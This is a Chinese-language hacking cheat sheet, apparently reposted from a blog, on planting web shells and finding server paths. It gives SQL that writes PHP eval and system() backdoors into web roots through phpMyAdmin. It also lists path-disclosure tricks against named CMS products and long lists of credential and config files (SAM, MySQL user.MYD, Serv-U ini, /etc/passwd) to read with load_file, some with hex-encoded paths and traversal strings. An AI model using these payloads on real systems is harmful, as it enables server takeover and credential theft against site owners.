爆路径写后门拿shell的一些姿势
[PhpMyAdmin后台拿Shell]
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma INTO OUTFILE 'E:/wamp/www/7.php';
以上同时执行，在数据库: mysql 下创建一个表名为：xiaoma，字段为xiaoma1，导出到E:/wamp/www/7.php 一句话连接密码：xiaoma
Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;
create database wutongyu(这个为数据库名称).
use wutongyu (连接数据库)
create table shell(code text) (建立表shell，字段code为文本型数据)
insert into shell(code) values ('<?php @eval($_POST['c']);?>'); (插入一句话，密码为C)
select * from shell into outfile "D:\\detai\\AppServ\\www\\phpMyAdmin2\\shell.php" (导出shell到绝对路径)
PhpMyAdmin导出WebShell至中文路径
set character_set_client='gbk';
set character_set_connection='gbk';
set character_set_database='gbk';
set character_set_results='gbk';
set character_set_server='gbk';
select '<?php eval($_POST[cmd]);?>' into outfile 'd:\www\网站\mm.php';
读取文件内容：select load_file('E:/xamp/www/s.php');
写一句话： select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'
cmd执行权限： select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
select load_file('E:/xamp/www/xiaoma.php');
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后访问网站目录：http://www.xxxx.com/xiaoma.php?cmd=dir
[PHP爆路径方法]
1、单引号爆路径
说明：直接在URL后面加单引号，要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=149′
2、错误参数值爆路径
说明：将要提交的参数值改成错误值，比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
3、Google爆路径
说明：结合关键字和site语法搜索出错页面的网页快照，常见关键字有warning和fatal error。注意，如果目标站点是二级域名，site接的是其对应的顶级域名，这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
4、测试文件爆路径
说明：很多网站的根目录下都存在测试文件，脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
5、PhpMyAdmin爆路径
说明：一旦找到phpmyadmin的管理页面，再访问该目录下的某些特定文件，就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫，也可以选择google。
1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php
6、配置文件找路径
说明：如果注入点有文件读取权限，就可以手工load_file或工具读取配置文件，再从中寻找路径信息（一般在文件末尾）。各平台下Web服务器和PHP的配置文件默认路径可以上网查，这里列举常见的几个。
Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/vhosts.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
还在为load_file读取不知道该读取什么游泳的信息麽？看看下面
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
5、c:/Program Files/Apache Group/Apache/conf/httpd.conf 或C:/apache/conf/httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:/APACHE/Apache2/conf/httpd.conf
9、C:/Program Files/mysql/my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、 /usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:/mysql/data/mysql/user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extratpd-vhosts.conf //虚拟网站设置
23、c:/Program Files/RhinoSoft.com/Serv-U/ServUDaemon.ini
24、c:/windows/my.ini
25、/etc/issue 显示Linux核心的发行版本信息
26、/etc/ftpuser
27、查看LINUX用户下的操作记录文件.bash_history 或 .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
WINDOWS下:
c:/boot.ini //查看系统版本 0x633A2F626F6F742E696E690D0A
c:/windows/system32/boot.bat
c:/windows/php.ini //php配置信息 0x633A2F77696E646F77732F7068702E696E69
c:/windows/my.ini //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码 0x633A2F77696E646F77732F6D792E696E69
c:/winnt/php.ini 0x633A2F77696E6E742F7068702E696E69
c:/winnt/my.ini 0x633A2F77696E6E742F6D792E696E69
c:/mysql/data/mysql/user.MYD //存储了mysql.user表中的数据库连接密码 0x633A5C6D7973716C5C646174615C6D7973716C5C757365722E4D5944
c:/Program Files/RhinoSoft.com/Serv-U/ServUDaemon.ini //存储了虚拟主机网站路径和密码
0x633A5C50726F6772616D2046696C65735C5268696E6F536F66742E636F6D5C536572762D555C53657276554461656D6F6E2E696E69
c:/Program Files/Serv-U/ServUDaemon.ini 0x633A5C50726F6772616D2046696C65735C536572762D555C53657276554461656D6F6E2E696E69
c:/windows/system32/inetsrv/MetaBase.xml //IIS配置文件
c:/windows/repair/sam //存储了WINDOWS系统初次安装的密码
c:/Program Files/ Serv-U/ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:/Program Files/RhinoSoft.com/ServUDaemon.exe
C:/Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/*.cif 文件
//存储了pcAnywhere的登陆密码
c:/Program Files/Apache Group/Apache/conf /httpd.conf 或C:/apache/conf /httpd.conf //查看 WINDOWS系统apache文件
0x633A5C50726F6772616D2046696C65735C4170616368652047726F75705C4170616368655C636F6E66205C68747470642E636F6E66
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息. 0x633A2F526573696E2D332E302E31342F636F6E662F726573696E2E636F6E66
c:/Resin/conf/resin.conf 0x633A2F526573696E2F636F6E662F726573696E2E636F6E66
/usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 0x2F7573722F6C6F63616C2F726573696E2F636F6E662F726573696E2E636F6E66
d:/APACHE/Apache2/conf/httpd.conf 0x643A5C4150414348455C417061636865325C636F6E665C68747470642E636F6E66
C:/Program Files/mysql/my.ini 0x433A5C50726F6772616D2046696C65735C6D7973716C5C6D792E696E69
c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虚拟主机配置 0x633A5C77696E646F77735C73797374656D33325C696E65747372765C4D657461426173652E786D6C
C:/mysql/data/mysql/user.MYD 存在MYSQL系统中的用户密码 0x433A5C6D7973716C5C646174615C6D7973716C5C757365722E4D5944
LUNIX/UNIX下:
/etc/passwd 0x2F6574632F706173737764
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F68747470642E636F6E66
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F65787472612F68747470642D76686F7374732E636F6E66
/usr/local/app/php5/lib/php.ini //PHP相关设置 0x2F7573722F6C6F63616C2F6170702F706870352F6C69622F7068702E696E69
/etc/sysconfig/iptables //从中得到防火墙规则策略 0x2F6574632F737973636F6E6669672F69707461626C657320
/etc/httpd/conf/httpd.conf // apache配置文件 0x2F6574632F68747470642F636F6E662F68747470642E636F6E66
/etc/rsyncd.conf //同步程序配置文件 0x2F6574632F7273796E63642E636F6E66
/etc/my.cnf //mysql的配置文件 0x2F6574632F6D792E636E66
/etc/redhat-release //系统版本 0x2F6574632F7265646861742D72656C65617365
/etc/issue 0x2F6574632F6973737565
/etc/issue.net 0x2F6574632F69737375652E6E6574
/usr/local/app/php5/lib/php.ini //PHP相关设置 0x2F7573722F6C6F63616C2F6170702F706870352F6C69622F7068702E696E69
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F65787472612F68747470642D76686F7374732E636F6E66
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件 0x2F6574632F68747470642F636F6E662F68747470642E636F6E66
0x2F7573722F6C6F63616C2F61706368652F636F6E662F68747470642E636F6E66
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 0x2F7573722F6C6F63616C2F726573696E2D332E302E32322F636F6E662F726573696E2E636F6E66
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上 0x2F7573722F6C6F63616C2F726573696E2D70726F2D332E302E32322F636F6E662F726573696E2E636F6E66
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
0x2F7573722F6C6F63616C2F6170702F617061636865322F636F6E662F65787472612F68747470642D76686F7374732E636F6E66
/etc/sysconfig/iptables 查看防火墙策略 0x2F6574632F737973636F6E6669672F69707461626C6573
load_file(char(47)) 列出FreeBSD,Sunos系统根目录
7、nginx文件类型错误解析爆路径
说明：这是昨天无意中发现的方法，当然要求Web服务器是nginx，且存在文件类型解析漏洞。有时在图片地址后加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。
www.xxx.com/top.jpg/x.php
8、Other PHP
DeDeCms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php
WordPress
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php
Ecshop商城系统暴路径漏洞文件
/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php
Ucenter爆路径
ucenter\control\admin\db.php
DZbbs
manyou/admincp.php?my_suffix=%0A%0DTOBY57
Z-blog
admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
Php168爆路径
admin/inc/hack/count.php?job=list
admin/inc/hack/search.php?job=getcode
admin/inc/ajax/bencandy.php?job=do
cache/MysqlTime.txt
PHPcms2008-sp4
注册用户登陆后访问
phpcms/corpandresize/process.php?pic=../images/logo.gif
CMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中
lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
lib/default/special_act.php
转载于:https://www.cnblogs.com/drkang/p/8630858.html
爆路径写后门拿shell的一些姿势相关推荐
- fckeditor漏洞之爆路径漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFil ...
- php爆路径方法总结
1.单引号爆路径 直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息. www.xxxx.com /news.php?id=149′ 2.错误参数值爆路径 将要提 ...
- php爆路径方法收集
1.单引号爆路径 说明: 直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息. www.xxx.com/news.php?id=149′ 2.错误参数值爆路径 说 ...
- 收藏！一篇教会你写90%的shell脚本
在公司项目的开发过程中,总会存在需要编写shell脚本去处理一个业务的场景, 看完这边文章应该就可以独立完成大部分脚本得编写! shell脚本? 在说什么是shell脚本之前,先说说什么是shell. ...
- samba 问题Windows能看到文件夹但是不能打开（路径写错了）
我把共享文件夹放在home下就不行, 然后我放到根目录下就可以了. 神奇... 目录权限啥的都没改.. 额,我发现是我路径写错了 在/etc/samba/smb.conf里我写的路径是/home/we ...
- cmseasy(易通CMS) 注入漏洞 上传漏洞 爆路径ODAY(含修复)
注入漏洞 注入点:/celive/js/include.php?cmseasylive=1111&departmentid=0 类型: mysql blind-string 错误关键字:onl ...
- php爆路径与sql注入,人人网游戏XSS+SQL注入+爆路径+列目录，员工信息大量泄漏
XSS偷取cookies,还有注入,权限蛮大的哦,能直接load_file('/etc/passwd') 目测拿下wan.renren.com http://wan.renren.com/servic ...
- UEFI Shell命令详解，自写一个UEFI Shell命令
首先,我们从BIOS进入Shell,输入help命令查看帮助信息 Shell:helpacpiview - Display ACPI Table information. alias - Displa ...
- 优秀程序猿写技术文档的正确姿势
一.背景 写文档是程序猿进阶的一个必要步骤之一. 文档写的清楚,思路就更加清晰,也会让同事高看你一眼,多梳理业务也有很大帮助. 产品经理对需求文档基本是驾轻就熟信手拈来,但是大多数程序猿写技术文档却显 ...
最新文章
- 【第六期】拿不到offer全额退款 人工智能工程师培养计划招生
- 推荐一个在线json数据格式化网站
- 「 每日一练，快乐水题 」693. 交替位二进制数
- JZOJ 5050. 【GDOI2017模拟一试4.11】颜色树
- 王思聪都觉得“贵的离谱” 给成都某日料店怒打1星差评：亲测难吃
- java随机数函数生成指定区间的，意外的惊喜
- 芯片国产化进程提速 赶超洋品牌核心技术尚欠火候
- android连接airprint打印机,完爆AirPrint 揭秘联想安卓终端乐打印
- Final关键字修饰的变量是否真的不能改变吗
- 指数族分布（2）：矩母函数、累积量生成函数
- 秸秆开启黑土地绿色低碳循环经济链 国稻种芯绿色沃土计划
- 服务器快速搭建AList集成网盘网站【宝塔面板一键部署AList/Docker】
- navicat删除注册表文件_如何彻底删除mysql服务（清理注册表）详解
- Java IDE - Selenium 包下载
- 李一男离开华为时给属下的忠告
- 密战——惊心动魄的网络犯罪追踪小说
- 基于Matlab绘制偶极子和矩形孔径天线方向图
- Vue3 移动端浏览器底部工具栏挡住部分网页，以及ios网页放大滑动问题。
- 局域网监控软件帮助新入伍战士改善网络行为
- V9摄影美学三亚国际公馆2013年11月正式登陆三亚，同年12盛大开幕！
热门文章
- 免费开源的商城系统！可商用！推荐给你
- 配置 CentOS 7 man 命令帮助显示简体中文
- 9月13号魔兽服务器维护,魔兽世界怀旧服9月13日7点再次开放免费转服 11个转服新服务器一览...
- 有道云笔记无法同步至本地电脑解决方法
- 安卓低功耗蓝牙——手机作为外围设备
- 计算机定期备份用什么程序,怎么让电脑定期自动备份文件或文件夹（让你的电脑每天定时自动为你备份重要的文件）...
- 计算机维护培训宁夏,西夏区广播电视大学计算机系统与维护专业_宁夏报名_网络教育计算机系统与维护专业教学计划_中国教育在线...
- 看过大佬们发的朋友圈之后，我相信：明天会更好，明年定会春暖花开
- 剑网3服务器一直显示维护,8月3日例行维护完毕 服务器已正常开启
- 自考第一阶段读书有感